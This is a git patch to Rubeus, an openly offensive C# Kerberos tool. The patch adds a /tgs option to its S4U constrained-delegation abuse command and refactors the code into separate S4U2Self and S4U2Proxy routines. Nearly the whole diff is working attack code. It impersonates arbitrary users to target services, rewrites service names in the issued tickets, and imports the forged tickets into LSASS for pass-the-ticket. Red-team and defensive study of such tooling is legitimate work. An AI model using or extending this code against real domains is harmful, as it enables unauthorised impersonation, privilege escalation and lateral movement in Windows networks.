From 10689dfff3b87b268258f31271d84a76aba40da6 Mon Sep 17 00:00:00 2001 From: Elad Shamir <8843083+eladshamir@users.noreply.github.com> Date: Wed, 24 Oct 2018 11:18:55 +0000 Subject: [PATCH] Support loading TGS from kirbi instead of performing S4U2Self --- Rubeus/Commands/S4u.cs | 40 ++++- Rubeus/Domain/Info.cs | 4 +- Rubeus/lib/S4U.cs | 366 ++++++++++++++++++++++------------------- 3 files changed, 233 insertions(+), 177 deletions(-) diff --git a/Rubeus/Commands/S4u.cs b/Rubeus/Commands/S4u.cs index b72561a..a746d93 100755 --- a/Rubeus/Commands/S4u.cs +++ b/Rubeus/Commands/S4u.cs @@ -19,6 +19,7 @@ namespace Rubeus.Commands bool ptt = false; string dc = ""; Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial; // throwaway placeholder, changed to something valid + KRB_CRED tgs = null; if (arguments.ContainsKey("/user")) { @@ -57,6 +58,11 @@ namespace Rubeus.Commands } if (arguments.ContainsKey("/impersonateuser")) { + if (arguments.ContainsKey("/tgs")) + { + Console.WriteLine("\r\n[X] You must supply either a /impersonateuser or a /tgs, but not both.\r\n"); + return; + } targetUser = arguments["/impersonateuser"]; } @@ -70,13 +76,37 @@ namespace Rubeus.Commands altSname = arguments["/altservice"]; } + if (arguments.ContainsKey("/tgs")) + { + string kirbi64 = arguments["/tgs"]; + + if (Helpers.IsBase64String(kirbi64)) + { + byte[] kirbiBytes = Convert.FromBase64String(kirbi64); + tgs = new KRB_CRED(kirbiBytes); + } + else if (File.Exists(kirbi64)) + { + byte[] kirbiBytes = File.ReadAllBytes(kirbi64); + tgs = new KRB_CRED(kirbiBytes); + } + else + { + Console.WriteLine("\r\n[X] /tgs:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); + return; + } + + targetUser = tgs.enc_part.ticket_info[0].pname.name_string[0]; + } + if (String.IsNullOrEmpty(domain)) { domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName; } - if (String.IsNullOrEmpty(targetUser)) + if (String.IsNullOrEmpty(targetUser) && tgs == null) { - Console.WriteLine("\r\n[X] You must supply a /impersonateuser to impersonate!\r\n"); + Console.WriteLine("\r\n[X] You must supply a /tgs to impersonate!\r\n"); + Console.WriteLine("[X] Alternatively, supply a /impersonateuser to perform S4U2Self first.\r\n"); return; } if (String.IsNullOrEmpty(targetSPN)) @@ -93,13 +123,13 @@ namespace Rubeus.Commands { byte[] kirbiBytes = Convert.FromBase64String(kirbi64); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); - S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname); + S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname, tgs); } else if (File.Exists(kirbi64)) { byte[] kirbiBytes = File.ReadAllBytes(kirbi64); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); - S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname); + S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname, tgs); } else { @@ -119,7 +149,7 @@ namespace Rubeus.Commands return; } - S4U.Execute(user, domain, hash, encType, targetUser, targetSPN, ptt, dc, altSname); + S4U.Execute(user, domain, hash, encType, targetUser, targetSPN, ptt, dc, altSname, tgs); return; } else diff --git a/Rubeus/Domain/Info.cs b/Rubeus/Domain/Info.cs index b3e69e7..cea999b 100755 --- a/Rubeus/Domain/Info.cs +++ b/Rubeus/Domain/Info.cs @@ -35,8 +35,8 @@ namespace Rubeus.Domain Console.WriteLine(" Rubeus.exe changepw /new:PASSWORD [/dc:DOMAIN_CONTROLLER]"); Console.WriteLine("\r\n Perform S4U constrained delegation abuse:"); - Console.WriteLine(" Rubeus.exe s4u /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]"); - Console.WriteLine(" Rubeus.exe s4u /user:USER [/domain:DOMAIN] /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]"); + Console.WriteLine(" Rubeus.exe s4u /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]"); + Console.WriteLine(" Rubeus.exe s4u /user:USER [/domain:DOMAIN] /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]"); Console.WriteLine("\r\n Submit a TGT, optionally targeting a specific LUID (if elevated):"); Console.WriteLine(" Rubeus.exe ptt [/luid:LOGINID]"); diff --git a/Rubeus/lib/S4U.cs b/Rubeus/lib/S4U.cs index 509283d..c1f245e 100755 --- a/Rubeus/lib/S4U.cs +++ b/Rubeus/lib/S4U.cs @@ -7,7 +7,7 @@ namespace Rubeus { public class S4U { - public static void Execute(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, string targetUser, string targetSPN, bool ptt, string domainController = "", string altService = "") + public static void Execute(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, string targetUser, string targetSPN, bool ptt, string domainController = "", string altService = "", KRB_CRED tgs = null) { // first retrieve a TGT for the user byte[] kirbiBytes = Ask.TGT(userName, domain, keyString, etype, false, domainController); @@ -26,23 +26,24 @@ namespace Rubeus KRB_CRED kirbi = new KRB_CRED(kirbiBytes); // execute the s4u process - Execute(kirbi, targetUser, targetSPN, ptt, domainController, altService); + Execute(kirbi, targetUser, targetSPN, ptt, domainController, altService, tgs); } - public static void Execute(KRB_CRED kirbi, string targetUser, string targetSPN, bool ptt, string domainController = "", string altService = "") + public static void Execute(KRB_CRED kirbi, string targetUser, string targetSPN, bool ptt, string domainController = "", string altService = "", KRB_CRED tgs = null) { Console.WriteLine("[*] Action: S4U\r\n"); - // extract out the info needed for the TGS-REQ/S4U2Self execution - string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; - string domain = kirbi.enc_part.ticket_info[0].prealm; - Ticket ticket = kirbi.tickets[0]; - byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue; - Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype; - - string dcIP = Networking.GetDCIP(domainController); - if (String.IsNullOrEmpty(dcIP)) { return; } - - Console.WriteLine("[*] Building S4U2self request for: '{0}\\{1}'", domain, userName); + if (tgs != null) + { + Console.WriteLine("[*] Loaded TGS for '{0}\\{1}' to '{2}/{3}'", tgs.enc_part.ticket_info[0].prealm, tgs.enc_part.ticket_info[0].pname.name_string[0], tgs.enc_part.ticket_info[0].sname.name_string[0], tgs.tickets[0].sname.name_string[1]); + S4U2Proxy(kirbi, targetUser, targetSPN, ptt, domainController, altService, tgs.tickets[0]); + } + else + { + S4U2Self(kirbi, targetUser, targetSPN, ptt, domainController, altService); + } + } + private static void S4U2Proxy(KRB_CRED kirbi, string targetUser, string targetSPN, bool ptt, string domainController = "", string altService = "", Ticket tgs = null) + { Console.WriteLine("[*] Impersonating user '{0}' to target SPN '{1}'", targetUser, targetSPN); if (!String.IsNullOrEmpty(altService)) { @@ -57,177 +58,81 @@ namespace Rubeus } } - byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, userName, ticket, clientKey, etype, false, targetUser); + // extract out the info needed for the TGS-REQ/S4U2Proxy execution + string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; + string domain = kirbi.enc_part.ticket_info[0].prealm; + Ticket ticket = kirbi.tickets[0]; + byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue; + Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype; - Console.WriteLine("[*] Sending S4U2self request"); - byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes); - if (response == null) + string dcIP = Networking.GetDCIP(domainController); + if (String.IsNullOrEmpty(dcIP)) { return; } + Console.WriteLine("[*] Building S4U2proxy request for service: '{0}'", targetSPN); + TGS_REQ s4u2proxyReq = new TGS_REQ(); + PA_DATA padata = new PA_DATA(domain, userName, ticket, clientKey, etype); + s4u2proxyReq.padata.Add(padata); + PA_DATA pac_options = new PA_DATA(false, false, false, true); + s4u2proxyReq.padata.Add(pac_options); + + s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CNAMEINADDLTKT; + + s4u2proxyReq.req_body.realm = domain; + + string[] parts = targetSPN.Split('/'); + string serverName = parts[1]; + s4u2proxyReq.req_body.sname.name_type = 2; + // the sname + s4u2proxyReq.req_body.sname.name_string.Add(parts[0]); + // the server + s4u2proxyReq.req_body.sname.name_string.Add(serverName); + + // supported encryption types + s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); + s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); + s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); + + // add in the ticket from the S4U2self response + s4u2proxyReq.req_body.additional_tickets.Add(tgs); + + byte[] s4ubytes = s4u2proxyReq.Encode().Encode(); + + Console.WriteLine("[*] Sending S4U2proxy request"); + byte[] response2 = Networking.SendBytes(dcIP, 88, s4ubytes); + if (response2 == null) { return; } // decode the supplied bytes to an AsnElt object // false == ignore trailing garbage - AsnElt responseAsn = AsnElt.Decode(response, false); + AsnElt responseAsn = AsnElt.Decode(response2, false); // check the response value int responseTag = responseAsn.TagValue; if (responseTag == 13) { - Console.WriteLine("[+] S4U2self success!"); + Console.WriteLine("[+] S4U2proxy success!"); // parse the response to an TGS-REP - TGS_REP rep = new TGS_REP(responseAsn); + TGS_REP rep2 = new TGS_REP(responseAsn); // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62 - byte[] outBytes = Crypto.KerberosDecrypt(etype, 8, clientKey, rep.enc_part.cipher); - AsnElt ae = AsnElt.Decode(outBytes, false); - EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]); + byte[] outBytes2 = Crypto.KerberosDecrypt(etype, 8, clientKey, rep2.enc_part.cipher); + AsnElt ae2 = AsnElt.Decode(outBytes2, false); + EncKDCRepPart encRepPart2 = new EncKDCRepPart(ae2.Sub[0]); - // TODO: ensure the cname contains the name of the user! otherwise s4u not supported - - Console.WriteLine("[*] Building S4U2proxy request for service: '{0}'", targetSPN); - TGS_REQ s4u2proxyReq = new TGS_REQ(); - PA_DATA padata = new PA_DATA(domain, userName, ticket, clientKey, etype); - s4u2proxyReq.padata.Add(padata); - PA_DATA pac_options = new PA_DATA(false, false, false, true); - s4u2proxyReq.padata.Add(pac_options); - - s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CNAMEINADDLTKT; - - s4u2proxyReq.req_body.realm = domain; - - string[] parts = targetSPN.Split('/'); - string serverName = parts[1]; - s4u2proxyReq.req_body.sname.name_type = 2; - // the sname - s4u2proxyReq.req_body.sname.name_string.Add(parts[0]); - // the server - s4u2proxyReq.req_body.sname.name_string.Add(serverName); - - // supported encryption types - s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); - s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); - s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); - - // add in the ticket from the S4U2self response - s4u2proxyReq.req_body.additional_tickets.Add(rep.ticket); - - byte[] s4ubytes = s4u2proxyReq.Encode().Encode(); - - Console.WriteLine("[*] Sending S4U2proxy request"); - byte[] response2 = Networking.SendBytes(dcIP, 88, s4ubytes); - if (response2 == null) + if (!String.IsNullOrEmpty(altService)) { - return; - } + string[] altSnames = altService.Split(','); - // decode the supplied bytes to an AsnElt object - // false == ignore trailing garbage - AsnElt responseAsn2 = AsnElt.Decode(response2, false); - - // check the response value - int responseTag2 = responseAsn2.TagValue; - - if (responseTag2 == 13) - { - Console.WriteLine("[+] S4U2proxy success!"); - - // parse the response to an TGS-REP - TGS_REP rep2 = new TGS_REP(responseAsn2); - - // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62 - byte[] outBytes2 = Crypto.KerberosDecrypt(etype, 8, clientKey, rep2.enc_part.cipher); - AsnElt ae2 = AsnElt.Decode(outBytes2, false); - EncKDCRepPart encRepPart2 = new EncKDCRepPart(ae2.Sub[0]); - - if (!String.IsNullOrEmpty(altService)) + foreach (string altSname in altSnames) { - string[] altSnames = altService.Split(','); - - foreach (string altSname in altSnames) - { - // now build the final KRB-CRED structure with one or more alternate snames - KRB_CRED cred = new KRB_CRED(); - - // since we want an alternate sname, first substitute it into the ticket structure - rep2.ticket.sname.name_string[0] = altSname; - - // add the ticket - cred.tickets.Add(rep2.ticket); - - // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart - - KrbCredInfo info = new KrbCredInfo(); - - // [0] add in the session key - info.key.keytype = encRepPart2.key.keytype; - info.key.keyvalue = encRepPart2.key.keyvalue; - - // [1] prealm (domain) - info.prealm = encRepPart2.realm; - - // [2] pname (user) - info.pname.name_type = rep2.cname.name_type; - info.pname.name_string = rep2.cname.name_string; - - // [3] flags - info.flags = encRepPart2.flags; - - // [4] authtime (not required) - - // [5] starttime - info.starttime = encRepPart2.starttime; - - // [6] endtime - info.endtime = encRepPart2.endtime; - - // [7] renew-till - info.renew_till = encRepPart2.renew_till; - - // [8] srealm - info.srealm = encRepPart2.realm; - - // [9] sname - info.sname.name_type = encRepPart2.sname.name_type; - info.sname.name_string = encRepPart2.sname.name_string; - - // if we want an alternate sname, substitute it into the encrypted portion of the KRB_CRED - Console.WriteLine("[*] Substituting alternative service name '{0}'", altSname); - info.sname.name_string[0] = altSname; - - // add the ticket_info into the cred object - cred.enc_part.ticket_info.Add(info); - - byte[] kirbiBytes = cred.Encode().Encode(); - - string kirbiString = Convert.ToBase64String(kirbiBytes); - - Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}/{1}':\r\n", altSname, serverName); - - // display the .kirbi base64, columns of 80 chararacters - foreach (string line in Helpers.Split(kirbiString, 80)) - { - Console.WriteLine(" {0}", line); - } - if (ptt) - { - // pass-the-ticket -> import into LSASS - LSA.ImportTicket(kirbiBytes); - } - } - } - else - { - // now build the final KRB-CRED structure, no alternate snames + // now build the final KRB-CRED structure with one or more alternate snames KRB_CRED cred = new KRB_CRED(); - // if we want an alternate sname, first substitute it into the ticket structure - if (!String.IsNullOrEmpty(altService)) - { - rep2.ticket.sname.name_string[0] = altService; - } + // since we want an alternate sname, first substitute it into the ticket structure + rep2.ticket.sname.name_string[0] = altSname; // add the ticket cred.tickets.Add(rep2.ticket); @@ -268,6 +173,10 @@ namespace Rubeus info.sname.name_type = encRepPart2.sname.name_type; info.sname.name_string = encRepPart2.sname.name_string; + // if we want an alternate sname, substitute it into the encrypted portion of the KRB_CRED + Console.WriteLine("[*] Substituting alternative service name '{0}'", altSname); + info.sname.name_string[0] = altSname; + // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); @@ -275,7 +184,7 @@ namespace Rubeus string kirbiString = Convert.ToBase64String(kirbiBytes); - Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}':\r\n", targetSPN); + Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}/{1}':\r\n", altSname, serverName); // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) @@ -289,15 +198,75 @@ namespace Rubeus } } } - else if (responseTag2 == 30) - { - // parse the response to an KRB-ERROR - KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); - Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); - } else { - Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); + // now build the final KRB-CRED structure, no alternate snames + KRB_CRED cred = new KRB_CRED(); + + // if we want an alternate sname, first substitute it into the ticket structure + if (!String.IsNullOrEmpty(altService)) + { + rep2.ticket.sname.name_string[0] = altService; + } + + // add the ticket + cred.tickets.Add(rep2.ticket); + + // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart + + KrbCredInfo info = new KrbCredInfo(); + + // [0] add in the session key + info.key.keytype = encRepPart2.key.keytype; + info.key.keyvalue = encRepPart2.key.keyvalue; + + // [1] prealm (domain) + info.prealm = encRepPart2.realm; + + // [2] pname (user) + info.pname.name_type = rep2.cname.name_type; + info.pname.name_string = rep2.cname.name_string; + + // [3] flags + info.flags = encRepPart2.flags; + + // [4] authtime (not required) + + // [5] starttime + info.starttime = encRepPart2.starttime; + + // [6] endtime + info.endtime = encRepPart2.endtime; + + // [7] renew-till + info.renew_till = encRepPart2.renew_till; + + // [8] srealm + info.srealm = encRepPart2.realm; + + // [9] sname + info.sname.name_type = encRepPart2.sname.name_type; + info.sname.name_string = encRepPart2.sname.name_string; + + // add the ticket_info into the cred object + cred.enc_part.ticket_info.Add(info); + + byte[] kirbiBytes = cred.Encode().Encode(); + + string kirbiString = Convert.ToBase64String(kirbiBytes); + + Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}':\r\n", targetSPN); + + // display the .kirbi base64, columns of 80 chararacters + foreach (string line in Helpers.Split(kirbiString, 80)) + { + Console.WriteLine(" {0}", line); + } + if (ptt) + { + // pass-the-ticket -> import into LSASS + LSA.ImportTicket(kirbiBytes); + } } } else if (responseTag == 30) @@ -311,5 +280,62 @@ namespace Rubeus Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); } } + private static void S4U2Self(KRB_CRED kirbi, string targetUser, string targetSPN, bool ptt, string domainController = "", string altService = "") + { + // extract out the info needed for the TGS-REQ/S4U2Self execution + string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; + string domain = kirbi.enc_part.ticket_info[0].prealm; + Ticket ticket = kirbi.tickets[0]; + byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue; + Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype; + + string dcIP = Networking.GetDCIP(domainController); + if (String.IsNullOrEmpty(dcIP)) { return; } + + Console.WriteLine("[*] Building S4U2self request for: '{0}\\{1}'", domain, userName); + + byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, userName, ticket, clientKey, etype, false, targetUser); + + Console.WriteLine("[*] Sending S4U2self request"); + byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes); + if (response == null) + { + return; + } + + // decode the supplied bytes to an AsnElt object + // false == ignore trailing garbage + AsnElt responseAsn = AsnElt.Decode(response, false); + + // check the response value + int responseTag = responseAsn.TagValue; + + if (responseTag == 13) + { + Console.WriteLine("[+] S4U2self success!"); + + // parse the response to an TGS-REP + TGS_REP rep = new TGS_REP(responseAsn); + + // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62 + byte[] outBytes = Crypto.KerberosDecrypt(etype, 8, clientKey, rep.enc_part.cipher); + AsnElt ae = AsnElt.Decode(outBytes, false); + EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]); + + // TODO: ensure the cname contains the name of the user! otherwise s4u not supported + + S4U2Proxy(kirbi, targetUser, targetSPN, ptt, domainController, altService, rep.ticket); + } + else if (responseTag == 30) + { + // parse the response to an KRB-ERROR + KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); + Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); + } + else + { + Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); + } + } } } \ No newline at end of file